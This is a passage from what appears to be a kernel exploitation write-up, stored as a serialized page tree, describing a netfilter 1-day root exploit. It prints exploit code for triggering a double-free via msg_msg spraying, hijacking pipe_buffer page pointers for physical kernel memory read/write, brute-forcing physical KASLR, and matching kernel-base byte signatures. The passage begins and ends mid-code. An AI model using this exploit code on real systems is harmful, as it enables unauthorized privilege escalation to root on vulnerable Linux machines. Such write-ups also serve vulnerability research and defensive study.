i;\n",{"type":23,"tag":139,"props":55865,"children":55866},{"class":141,"line":1597},[55867,55871,55875,55879,55883,55887,55891,55895,55899,55903,55907,55911,55915,55919,55924],{"type":23,"tag":139,"props":55868,"children":55869},{"style":982},[55870],{"type":28,"value":5755},{"type":23,"tag":139,"props":55872,"children":55873},{"style":259},[55874],{"type":28,"value":262},{"type":23,"tag":139,"props":55876,"children":55877},{"style":279},[55878],{"type":28,"value":53533},{"type":23,"tag":139,"props":55880,"children":55881},{"style":982},[55882],{"type":28,"value":7825},{"type":23,"tag":139,"props":55884,"children":55885},{"style":259},[55886],{"type":28,"value":1104},{"type":23,"tag":139,"props":55888,"children":55889},{"style":982},[55890],{"type":28,"value":1085},{"type":23,"tag":139,"props":55892,"children":55893},{"style":294},[55894],{"type":28,"value":55845},{"type":23,"tag":139,"props":55896,"children":55897},{"style":259},[55898],{"type":28,"value":11768},{"type":23,"tag":139,"props":55900,"children":55901},{"style":294},[55902],{"type":28,"value":55854},{"type":23,"tag":139,"props":55904,"children":55905},{"style":259},[55906],{"type":28,"value":1723},{"type":23,"tag":139,"props":55908,"children":55909},{"style":1016},[55910],{"type":28,"value":2075},{"type":23,"tag":139,"props":55912,"children":55913},{"style":259},[55914],{"type":28,"value":6666},{"type":23,"tag":139,"props":55916,"children":55917},{"style":982},[55918],{"type":28,"value":1067},{"type":23,"tag":139,"props":55920,"children":55921},{"style":1016},[55922],{"type":28,"value":55923}," 0xdeadbeefcafebabe",{"type":23,"tag":139,"props":55925,"children":55926},{"style":259},[55927],{"type":28,"value":995},{"type":23,"tag":139,"props":55929,"children":55930},{"class":141,"line":1614},[55931,55936,55940,55945,55949],{"type":23,"tag":139,"props":55932,"children":55933},{"style":294},[55934],{"type":28,"value":55935},"        msg",{"type":23,"tag":139,"props":55937,"children":55938},{"style":259},[55939],{"type":28,"value":11768},{"type":23,"tag":139,"props":55941,"children":55942},{"style":294},[55943],{"type":28,"value":55944},"mtype",{"type":23,"tag":139,"props":55946,"children":55947},{"style":982},[55948],{"type":28,"value":985},{"type":23,"tag":139,"props":55950,"children":55951},{"style":259},[55952],{"type":28,"value":55953}," MTYPE_PRIMARY;\n",{"type":23,"tag":139,"props":55955,"children":55956},{"class":141,"line":1627},[55957,55962,55966,55970,55975,55979,55983,55988,55992,55996],{"type":23,"tag":139,"props":55958,"children":55959},{"style":245},[55960],{"type":28,"value":55961},"        msgsnd",{"type":23,"tag":139,"props":55963,"children":55964},{"style":259},[55965],{"type":28,"value":262},{"type":23,"tag":139,"props":55967,"children":55968},{"style":294},[55969],{"type":28,"value":55765},{"type":23,"tag":139,"props":55971,"children":55972},{"style":259},[55973],{"type":28,"value":55974},"[i], msg, ",{"type":23,"tag":139,"props":55976,"children":55977},{"style":1016},[55978],{"type":28,"value":53870},{"type":23,"tag":139,"props":55980,"children":55981},{"style":982},[55982],{"type":28,"value":49153},{"type":23,"tag":139,"props":55984,"children":55985},{"style":1016},[55986],{"type":28,"value":55987}," 48",{"type":23,"tag":139,"props":55989,"children":55990},{"style":259},[55991],{"type":28,"value":1052},{"type":23,"tag":139,"props":55993,"children":55994},{"style":1016},[55995],{"type":28,"value":2021},{"type":23,"tag":139,"props":55997,"children":55998},{"style":259},[55999],{"type":28,"value":1820},{"type":23,"tag":139,"props":56001,"children":56002},{"class":141,"line":1636},[56003,56007,56011,56015,56019],{"type":23,"tag":139,"props":56004,"children":56005},{"style":294},[56006],{"type":28,"value":55935},{"type":23,"tag":139,"props":56008,"children":56009},{"style":259},[56010],{"type":28,"value":11768},{"type":23,"tag":139,"props":56012,"children":56013},{"style":294},[56014],{"type":28,"value":55944},{"type":23,"tag":139,"props":56016,"children":56017},{"style":982},[56018],{"type":28,"value":985},{"type":23,"tag":139,"props":56020,"children":56021},{"style":259},[56022],{"type":28,"value":56023}," MTYPE_SECONDARY;\n",{"type":23,"tag":139,"props":56025,"children":56026},{"class":141,"line":1659},[56027,56031,56035,56039,56043,56048,56052,56056,56060,56064],{"type":23,"tag":139,"props":56028,"children":56029},{"style":245},[56030],{"type":28,"value":55961},{"type":23,"tag":139,"props":56032,"children":56033},{"style":259},[56034],{"type":28,"value":262},{"type":23,"tag":139,"props":56036,"children":56037},{"style":294},[56038],{"type":28,"value":55765},{"type":23,"tag":139,"props":56040,"children":56041},{"style":259},[56042],{"type":28,"value":55974},{"type":23,"tag":139,"props":56044,"children":56045},{"style":1016},[56046],{"type":28,"value":56047},"1024",{"type":23,"tag":139,"props":56049,"children":56050},{"style":982},[56051],{"type":28,"value":49153},{"type":23,"tag":139,"props":56053,"children":56054},{"style":1016},[56055],{"type":28,"value":55987},{"type":23,"tag":139,"props":56057,"children":56058},{"style":259},[56059],{"type":28,"value":1052},{"type":23,"tag":139,"props":56061,"children":56062},{"style":1016},[56063],{"type":28,"value":2021},{"type":23,"tag":139,"props":56065,"children":56066},{"style":259},[56067],{"type":28,"value":1820},{"type":23,"tag":139,"props":56069,"children":56070},{"class":141,"line":1667},[56071],{"type":23,"tag":139,"props":56072,"children":56073},{"style":259},[56074],{"type":28,"value":1335},{"type":23,"tag":139,"props":56076,"children":56077},{"class":141,"line":1676},[56078],{"type":23,"tag":139,"props":56079,"children":56080},{"style":958},[56081],{"type":28,"value":56082},"    // Prepare evil msg\n",{"type":23,"tag":139,"props":56084,"children":56085},{"class":141,"line":1745},[56086,56090,56095,56099,56103,56107,56111,56115],{"type":23,"tag":139,"props":56087,"children":56088},{"style":279},[56089],{"type":28,"value":17085},{"type":23,"tag":139,"props":56091,"children":56092},{"style":259},[56093],{"type":28,"value":56094}," evilqid ",{"type":23,"tag":139,"props":56096,"children":56097},{"style":982},[56098],{"type":28,"value":1067},{"type":23,"tag":139,"props":56100,"children":56101},{"style":245},[56102],{"type":28,"value":55730},{"type":23,"tag":139,"props":56104,"children":56105},{"style":259},[56106],{"type":28,"value":55735},{"type":23,"tag":139,"props":56108,"children":56109},{"style":1016},[56110],{"type":28,"value":55740},{"type":23,"tag":139,"props":56112,"children":56113},{"style":982},[56114],{"type":28,"value":2270},{"type":23,"tag":139,"props":56116,"children":56117},{"style":259},[56118],{"type":28,"value":55749},{"type":23,"tag":139,"props":56120,"children":56121},{"class":141,"line":1753},[56122,56126,56131,56135,56139],{"type":23,"tag":139,"props":56123,"children":56124},{"style":319},[56125],{"type":28,"value":10290},{"type":23,"tag":139,"props":56127,"children":56128},{"style":259},[56129],{"type":28,"value":56130}," (evilqid ",{"type":23,"tag":139,"props":56132,"children":56133},{"style":982},[56134],{"type":28,"value":3808},{"type":23,"tag":139,"props":56136,"children":56137},{"style":1016},[56138],{"type":28,"value":1019},{"type":23,"tag":139,"props":56140,"children":56141},{"style":259},[56142],{"type":28,"value":273},{"type":23,"tag":139,"props":56144,"children":56145},{"class":141,"line":1783},[56146],{"type":23,"tag":139,"props":56147,"children":56148},{"style":259},[56149],{"type":28,"value":27209},{"type":23,"tag":139,"props":56151,"children":56152},{"class":141,"line":1791},[56153,56158,56162,56166],{"type":23,"tag":139,"props":56154,"children":56155},{"style":245},[56156],{"type":28,"value":56157},"        perror",{"type":23,"tag":139,"props":56159,"children":56160},{"style":259},[56161],{"type":28,"value":262},{"type":23,"tag":139,"props":56163,"children":56164},{"style":265},[56165],{"type":28,"value":55805},{"type":23,"tag":139,"props":56167,"children":56168},{"style":259},[56169],{"type":28,"value":1820},{"type":23,"tag":139,"props":56171,"children":56172},{"class":141,"line":1823},[56173],{"type":23,"tag":139,"props":56174,"children":56175},{"style":259},[56176],{"type":28,"value":1335},{"type":23,"tag":139,"props":56178,"children":56179},{"class":141,"line":1831},[56180],{"type":23,"tag":139,"props":56181,"children":56182},{"style":259},[56183],{"type":28,"value":56184},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":666,"props":56186,"children":56188},{"id":56187},"using-pipe_buffer-page-pointer-for-physical-readwrite",[56189],{"type":28,"value":56190},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":56192,"children":56193},{},[56194,56196,56202,56203,56209,56210,56216,56218,56224],{"type":28,"value":56195},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":135,"props":56197,"children":56199},{"className":56198},[],[56200],{"type":28,"value":56201},"kmalloc-1k",{"type":28,"value":9002},{"type":23,"tag":135,"props":56204,"children":56206},{"className":56205},[],[56207],{"type":28,"value":56208},"overlap pipe_buffer",{"type":28,"value":19512},{"type":23,"tag":135,"props":56211,"children":56213},{"className":56212},[],[56214],{"type":28,"value":56215},"skbuf",{"type":28,"value":56217}," data to control the ",{"type":23,"tag":135,"props":56219,"children":56221},{"className":56220},[],[56222],{"type":28,"value":56223},"page",{"type":28,"value":56225}," field.",{"type":23,"tag":24,"props":56227,"children":56228},{},[56229,56230,56235,56237,56243,56245],{"type":28,"value":14625},{"type":23,"tag":135,"props":56231,"children":56233},{"className":56232},[],[56234],{"type":28,"value":56223},{"type":28,"value":56236}," field is a pointer into ",{"type":23,"tag":135,"props":56238,"children":56240},{"className":56239},[],[56241],{"type":28,"value":56242},"vmemmap_base",{"type":28,"value":56244},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":429,"props":56246,"children":56248},{"alt":48476,"src":56247},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":56250,"children":56251},{},[56252,56254,56259],{"type":28,"value":56253},"This now allows us to navigate the ",{"type":23,"tag":135,"props":56255,"children":56257},{"className":56256},[],[56258],{"type":28,"value":56242},{"type":28,"value":56260}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":666,"props":56262,"children":56264},{"id":56263},"bruteforce-physical-kernel-base",[56265],{"type":28,"value":56266},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":56268,"children":56269},{},[56270,56272,56278,56280,56285,56287,56293],{"type":28,"value":56271},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":135,"props":56273,"children":56275},{"className":56274},[],[56276],{"type":28,"value":56277},"modprobe_path",{"type":28,"value":56279},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":135,"props":56281,"children":56283},{"className":56282},[],[56284],{"type":28,"value":56242},{"type":28,"value":56286}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":135,"props":56288,"children":56290},{"className":56289},[],[56291],{"type":28,"value":56292},"PHYSICAL_ALIGN",{"type":28,"value":56294}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":128,"props":56296,"children":56298},{"className":27132,"code":56297,"language":27134,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[56299],{"type":23,"tag":135,"props":56300,"children":56301},{"__ignoreMap":7},[56302,56309,56317,56325,56349,56382,56402,56442,56449,56493,56527,56554,56590,56597,56643,56650,56680,56693,56758,56765,56777,56785,56792,56799,56825,56832,56852,56864,56871,56878,56885],{"type":23,"tag":139,"props":56303,"children":56304},{"class":141,"line":142},[56305],{"type":23,"tag":139,"props":56306,"children":56307},{"style":259},[56308],{"type":28,"value":8327},{"type":23,"tag":139,"props":56310,"children":56311},{"class":141,"line":151},[56312],{"type":23,"tag":139,"props":56313,"children":56314},{"style":259},[56315],{"type":28,"value":56316},"// Bruteforce phys-KASLR\n",{"type":23,"tag":139,"props":56318,"children":56319},{"class":141,"line":160},[56320],{"type":23,"tag":139,"props":56321,"children":56322},{"style":259},[56323],{"type":28,"value":56324},"    uint64_t kernel_base;\n",{"type":23,"tag":139,"props":56326,"children":56327},{"class":141,"line":169},[56328,56332,56337,56341,56345],{"type":23,"tag":139,"props":56329,"children":56330},{"style":279},[56331],{"type":28,"value":44369},{"type":23,"tag":139,"props":56333,"children":56334},{"style":259},[56335],{"type":28,"value":56336}," found ",{"type":23,"tag":139,"props":56338,"children":56339},{"style":982},[56340],{"type":28,"value":1067},{"type":23,"tag":139,"props":56342,"children":56343},{"style":279},[56344],{"type":28,"value":7064},{"type":23,"tag":139,"props":56346,"children":56347},{"style":259},[56348],{"type":28,"value":995},{"type":23,"tag":139,"props":56350,"children":56351},{"class":141,"line":178},[56352,56357,56361,56366,56370,56374,56378],{"type":23,"tag":139,"props":56353,"children":56354},{"style":279},[56355],{"type":28,"value":56356},"    uint8_t",{"type":23,"tag":139,"props":56358,"children":56359},{"style":294},[56360],{"type":28,"value":13116},{"type":23,"tag":139,"props":56362,"children":56363},{"style":259},[56364],{"type":28,"value":56365},"[PAGE_SIZE] ",{"type":23,"tag":139,"props":56367,"children":56368},{"style":982},[56369],{"type":28,"value":1067},{"type":23,"tag":139,"props":56371,"children":56372},{"style":259},[56373],{"type":28,"value":43113},{"type":23,"tag":139,"props":56375,"children":56376},{"style":1016},[56377],{"type":28,"value":2021},{"type":23,"tag":139,"props":56379,"children":56380},{"style":259},[56381],{"type":28,"value":14589},{"type":23,"tag":139,"props":56383,"children":56384},{"class":141,"line":187},[56385,56389,56393,56398],{"type":23,"tag":139,"props":56386,"children":56387},{"style":245},[56388],{"type":28,"value":53405},{"type":23,"tag":139,"props":56390,"children":56391},{"style":259},[56392],{"type":28,"value":262},{"type":23,"tag":139,"props":56394,"children":56395},{"style":265},[56396],{"type":28,"value":56397},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":139,"props":56399,"children":56400},{"style":259},[56401],{"type":28,"value":1820},{"type":23,"tag":139,"props":56403,"children":56404},{"class":141,"line":196},[56405,56409,56413,56417,56421,56425,56429,56434,56438],{"type":23,"tag":139,"props":56406,"children":56407},{"style":319},[56408],{"type":28,"value":1003},{"type":23,"tag":139,"props":56410,"children":56411},{"style":259},[56412],{"type":28,"value":1042},{"type":23,"tag":139,"props":56414,"children":56415},{"style":279},[56416],{"type":28,"value":53533},{"type":23,"tag":139,"props":56418,"children":56419},{"style":259},[56420],{"type":28,"value":52442},{"type":23,"tag":139,"props":56422,"children":56423},{"style":982},[56424],{"type":28,"value":1067},{"type":23,"tag":139,"props":56426,"children":56427},{"style":1016},[56428],{"type":28,"value":1019},{"type":23,"tag":139,"props":56430,"children":56431},{"style":259},[56432],{"type":28,"value":56433},";; i",{"type":23,"tag":139,"props":56435,"children":56436},{"style":982},[56437],{"type":28,"value":49167},{"type":23,"tag":139,"props":56439,"children":56440},{"style":259},[56441],{"type":28,"value":273},{"type":23,"tag":139,"props":56443,"children":56444},{"class":141,"line":205},[56445],{"type":23,"tag":139,"props":56446,"children":56447},{"style":259},[56448],{"type":28,"value":27209},{"type":23,"tag":139,"props":56450,"children":56451},{"class":141,"line":214},[56452,56457,56461,56466,56470,56475,56479,56484,56488],{"type":23,"tag":139,"props":56453,"children":56454},{"style":259},[56455],{"type":28,"value":56456},"        kernel_base ",{"type":23,"tag":139,"props":56458,"children":56459},{"style":982},[56460],{"type":28,"value":1067},{"type":23,"tag":139,"props":56462,"children":56463},{"style":1016},[56464],{"type":28,"value":56465}," 0x40",{"type":23,"tag":139,"props":56467,"children":56468},{"style":982},[56469],{"type":28,"value":7825},{"type":23,"tag":139,"props":56471,"children":56472},{"style":259},[56473],{"type":28,"value":56474}," ((PHYSICAL_ALIGN ",{"type":23,"tag":139,"props":56476,"children":56477},{"style":982},[56478],{"type":28,"value":2573},{"type":23,"tag":139,"props":56480,"children":56481},{"style":259},[56482],{"type":28,"value":56483}," i) ",{"type":23,"tag":139,"props":56485,"children":56486},{"style":982},[56487],{"type":28,"value":10772},{"type":23,"tag":139,"props":56489,"children":56490},{"style":259},[56491],{"type":28,"value":56492}," PAGE_SHIFT);\n",{"type":23,"tag":139,"props":56494,"children":56495},{"class":141,"line":1320},[56496,56501,56505,56509,56513,56518,56522],{"type":23,"tag":139,"props":56497,"children":56498},{"style":294},[56499],{"type":28,"value":56500},"        pipebuf",{"type":23,"tag":139,"props":56502,"children":56503},{"style":259},[56504],{"type":28,"value":11768},{"type":23,"tag":139,"props":56506,"children":56507},{"style":294},[56508],{"type":28,"value":56223},{"type":23,"tag":139,"props":56510,"children":56511},{"style":982},[56512],{"type":28,"value":985},{"type":23,"tag":139,"props":56514,"children":56515},{"style":259},[56516],{"type":28,"value":56517}," vmemmap_base ",{"type":23,"tag":139,"props":56519,"children":56520},{"style":982},[56521],{"type":28,"value":2382},{"type":23,"tag":139,"props":56523,"children":56524},{"style":259},[56525],{"type":28,"value":56526}," kernel_base;\n",{"type":23,"tag":139,"props":56528,"children":56529},{"class":141,"line":1329},[56530,56534,56538,56542,56546,56550],{"type":23,"tag":139,"props":56531,"children":56532},{"style":294},[56533],{"type":28,"value":56500},{"type":23,"tag":139,"props":56535,"children":56536},{"style":259},[56537],{"type":28,"value":11768},{"type":23,"tag":139,"props":56539,"children":56540},{"style":294},[56541],{"type":28,"value":11912},{"type":23,"tag":139,"props":56543,"children":56544},{"style":982},[56545],{"type":28,"value":985},{"type":23,"tag":139,"props":56547,"children":56548},{"style":1016},[56549],{"type":28,"value":1019},{"type":23,"tag":139,"props":56551,"children":56552},{"style":259},[56553],{"type":28,"value":995},{"type":23,"tag":139,"props":56555,"children":56556},{"class":141,"line":1580},[56557,56561,56565,56569,56573,56578,56582,56586],{"type":23,"tag":139,"props":56558,"children":56559},{"style":294},[56560],{"type":28,"value":56500},{"type":23,"tag":139,"props":56562,"children":56563},{"style":259},[56564],{"type":28,"value":11768},{"type":23,"tag":139,"props":56566,"children":56567},{"style":294},[56568],{"type":28,"value":7146},{"type":23,"tag":139,"props":56570,"children":56571},{"style":982},[56572],{"type":28,"value":985},{"type":23,"tag":139,"props":56574,"children":56575},{"style":259},[56576],{"type":28,"value":56577}," PAGE_SIZE ",{"type":23,"tag":139,"props":56579,"children":56580},{"style":982},[56581],{"type":28,"value":2382},{"type":23,"tag":139,"props":56583,"children":56584},{"style":1016},[56585],{"type":28,"value":2525},{"type":23,"tag":139,"props":56587,"children":56588},{"style":259},[56589],{"type":28,"value":995},{"type":23,"tag":139,"props":56591,"children":56592},{"class":141,"line":1597},[56593],{"type":23,"tag":139,"props":56594,"children":56595},{"style":259},[56596],{"type":28,"value":8327},{"type":23,"tag":139,"props":56598,"children":56599},{"class":141,"line":1614},[56600,56605,56609,56613,56617,56621,56626,56630,56635,56639],{"type":23,"tag":139,"props":56601,"children":56602},{"style":259},[56603],{"type":28,"value":56604},"        for (",{"type":23,"tag":139,"props":56606,"children":56607},{"style":279},[56608],{"type":28,"value":17055},{"type":23,"tag":139,"props":56610,"children":56611},{"style":294},[56612],{"type":28,"value":6628},{"type":23,"tag":139,"props":56614,"children":56615},{"style":982},[56616],{"type":28,"value":985},{"type":23,"tag":139,"props":56618,"children":56619},{"style":1016},[56620],{"type":28,"value":1019},{"type":23,"tag":139,"props":56622,"children":56623},{"style":259},[56624],{"type":28,"value":56625},"; j ",{"type":23,"tag":139,"props":56627,"children":56628},{"style":982},[56629],{"type":28,"value":3808},{"type":23,"tag":139,"props":56631,"children":56632},{"style":259},[56633],{"type":28,"value":56634}," PIPE_SPRAY; j",{"type":23,"tag":139,"props":56636,"children":56637},{"style":982},[56638],{"type":28,"value":49167},{"type":23,"tag":139,"props":56640,"children":56641},{"style":259},[56642],{"type":28,"value":273},{"type":23,"tag":139,"props":56644,"children":56645},{"class":141,"line":1627},[56646],{"type":23,"tag":139,"props":56647,"children":56648},{"style":259},[56649],{"type":28,"value":29546},{"type":23,"tag":139,"props":56651,"children":56652},{"class":141,"line":1636},[56653,56658,56662,56666,56671,56675],{"type":23,"tag":139,"props":56654,"children":56655},{"style":245},[56656],{"type":28,"value":56657},"            memset",{"type":23,"tag":139,"props":56659,"children":56660},{"style":259},[56661],{"type":28,"value":262},{"type":23,"tag":139,"props":56663,"children":56664},{"style":982},[56665],{"type":28,"value":1085},{"type":23,"tag":139,"props":56667,"children":56668},{"style":259},[56669],{"type":28,"value":56670},"data, ",{"type":23,"tag":139,"props":56672,"children":56673},{"style":1016},[56674],{"type":28,"value":2021},{"type":23,"tag":139,"props":56676,"children":56677},{"style":259},[56678],{"type":28,"value":56679},", PAGE_SIZE);\n",{"type":23,"tag":139,"props":56681,"children":56682},{"class":141,"line":1659},[56683,56688],{"type":23,"tag":139,"props":56684,"children":56685},{"style":279},[56686],{"type":28,"value":56687},"            int",{"type":23,"tag":139,"props":56689,"children":56690},{"style":259},[56691],{"type":28,"value":56692}," count;\n",{"type":23,"tag":139,"props":56694,"children":56695},{"class":141,"line":1667},[56696,56701,56706,56710,56715,56719,56724,56729,56733,56737,56741,56746,56750,56754],{"type":23,"tag":139,"props":56697,"children":56698},{"style":319},[56699],{"type":28,"value":56700},"            if",{"type":23,"tag":139,"props":56702,"children":56703},{"style":259},[56704],{"type":28,"value":56705}," (count ",{"type":23,"tag":139,"props":56707,"children":56708},{"style":982},[56709],{"type":28,"value":1067},{"type":23,"tag":139,"props":56711,"children":56712},{"style":245},[56713],{"type":28,"value":56714}," read",{"type":23,"tag":139,"props":56716,"children":56717},{"style":259},[56718],{"type":28,"value":262},{"type":23,"tag":139,"props":56720,"children":56721},{"style":294},[56722],{"type":28,"value":56723},"pfd",{"type":23,"tag":139,"props":56725,"children":56726},{"style":259},[56727],{"type":28,"value":56728},"[j][",{"type":23,"tag":139,"props":56730,"children":56731},{"style":1016},[56732],{"type":28,"value":2021},{"type":23,"tag":139,"props":56734,"children":56735},{"style":259},[56736],{"type":28,"value":21069},{"type":23,"tag":139,"props":56738,"children":56739},{"style":982},[56740],{"type":28,"value":1085},{"type":23,"tag":139,"props":56742,"children":56743},{"style":259},[56744],{"type":28,"value":56745},"data, PAGE_SIZE) ",{"type":23,"tag":139,"props":56747,"children":56748},{"style":982},[56749],{"type":28,"value":3808},{"type":23,"tag":139,"props":56751,"children":56752},{"style":1016},[56753],{"type":28,"value":1019},{"type":23,"tag":139,"props":56755,"children":56756},{"style":259},[56757],{"type":28,"value":273},{"type":23,"tag":139,"props":56759,"children":56760},{"class":141,"line":1676},[56761],{"type":23,"tag":139,"props":56762,"children":56763},{"style":259},[56764],{"type":28,"value":29582},{"type":23,"tag":139,"props":56766,"children":56767},{"class":141,"line":1745},[56768,56773],{"type":23,"tag":139,"props":56769,"children":56770},{"style":319},[56771],{"type":28,"value":56772},"                continue",{"type":23,"tag":139,"props":56774,"children":56775},{"style":259},[56776],{"type":28,"value":995},{"type":23,"tag":139,"props":56778,"children":56779},{"class":141,"line":1753},[56780],{"type":23,"tag":139,"props":56781,"children":56782},{"style":259},[56783],{"type":28,"value":56784},"            }\n",{"type":23,"tag":139,"props":56786,"children":56787},{"class":141,"line":1783},[56788],{"type":23,"tag":139,"props":56789,"children":56790},{"style":259},[56791],{"type":28,"value":8327},{"type":23,"tag":139,"props":56793,"children":56794},{"class":141,"line":1791},[56795],{"type":23,"tag":139,"props":56796,"children":56797},{"emptyLinePlaceholder":15},[56798],{"type":28,"value":184},{"type":23,"tag":139,"props":56800,"children":56801},{"class":141,"line":1823},[56802,56807,56812,56816,56820],{"type":23,"tag":139,"props":56803,"children":56804},{"style":259},[56805],{"type":28,"value":56806},"            if (",{"type":23,"tag":139,"props":56808,"children":56809},{"style":305},[56810],{"type":28,"value":56811},"is_kernel_base",{"type":23,"tag":139,"props":56813,"children":56814},{"style":259},[56815],{"type":28,"value":262},{"type":23,"tag":139,"props":56817,"children":56818},{"style":305},[56819],{"type":28,"value":1691},{"type":23,"tag":139,"props":56821,"children":56822},{"style":259},[56823],{"type":28,"value":56824},")) // [1] identify kernel base\n",{"type":23,"tag":139,"props":56826,"children":56827},{"class":141,"line":1831},[56828],{"type":23,"tag":139,"props":56829,"children":56830},{"style":259},[56831],{"type":28,"value":29582},{"type":23,"tag":139,"props":56833,"children":56834},{"class":141,"line":1891},[56835,56840,56844,56848],{"type":23,"tag":139,"props":56836,"children":56837},{"style":259},[56838],{"type":28,"value":56839},"                found ",{"type":23,"tag":139,"props":56841,"children":56842},{"style":982},[56843],{"type":28,"value":1067},{"type":23,"tag":139,"props":56845,"children":56846},{"style":279},[56847],{"type":28,"value":10480},{"type":23,"tag":139,"props":56849,"children":56850},{"style":259},[56851],{"type":28,"value":995},{"type":23,"tag":139,"props":56853,"children":56854},{"class":141,"line":7053},[56855,56860],{"type":23,"tag":139,"props":56856,"children":56857},{"style":319},[56858],{"type":28,"value":56859},"                break",{"type":23,"tag":139,"props":56861,"children":56862},{"style":259},[56863],{"type":28,"value":995},{"type":23,"tag":139,"props":56865,"children":56866},{"class":141,"line":7071},[56867],{"type":23,"tag":139,"props":56868,"children":56869},{"style":259},[56870],{"type":28,"value":56784},{"type":23,"tag":139,"props":56872,"children":56873},{"class":141,"line":7116},[56874],{"type":23,"tag":139,"props":56875,"children":56876},{"style":259},[56877],{"type":28,"value":1326},{"type":23,"tag":139,"props":56879,"children":56880},{"class":141,"line":7222},[56881],{"type":23,"tag":139,"props":56882,"children":56883},{"emptyLinePlaceholder":15},[56884],{"type":28,"value":184},{"type":23,"tag":139,"props":56886,"children":56887},{"class":141,"line":21518},[56888],{"type":23,"tag":139,"props":56889,"children":56890},{"style":259},[56891],{"type":28,"value":8327},{"type":23,"tag":24,"props":56893,"children":56894},{},[56895,56897,56901,56903,56909,56911,56915],{"type":28,"value":56896},"Notice that at ",{"type":23,"tag":139,"props":56898,"children":56899},{},[56900],{"type":28,"value":647},{"type":28,"value":56902}," we call the ",{"type":23,"tag":135,"props":56904,"children":56906},{"className":56905},[],[56907],{"type":28,"value":56908},"is_kernel_base()",{"type":28,"value":56910}," function. This is a function based on lau's exploit ",{"type":23,"tag":139,"props":56912,"children":56913},{},[56914],{"type":28,"value":16122},{"type":28,"value":56916}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":128,"props":56918,"children":56920},{"className":27132,"code":56919,"language":27134,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[56921],{"type":23,"tag":135,"props":56922,"children":56923},{"__ignoreMap":7},[56924,56931,56961,56968,56976,56983,56991,57062,57124,57139,57146,57154,57222,57284,57345,57406,57468,57530,57591,57652,57713,57774,57835,57850,57857,57872,57879],{"type":23,"tag":139,"props":56925,"children":56926},{"class":141,"line":142},[56927],{"type":23,"tag":139,"props":56928,"children":56929},{"style":259},[56930],{"type":28,"value":8327},{"type":23,"tag":139,"props":56932,"children":56933},{"class":141,"line":151},[56934,56939,56944,56949,56953,56957],{"type":23,"tag":139,"props":56935,"children":56936},{"style":259},[56937],{"type":28,"value":56938},"static bool is_kernel_base(",{"type":23,"tag":139,"props":56940,"children":56941},{"style":279},[56942],{"type":28,"value":56943},"unsigned",{"type":23,"tag":139,"props":56945,"children":56946},{"style":279},[56947],{"type":28,"value":56948}," 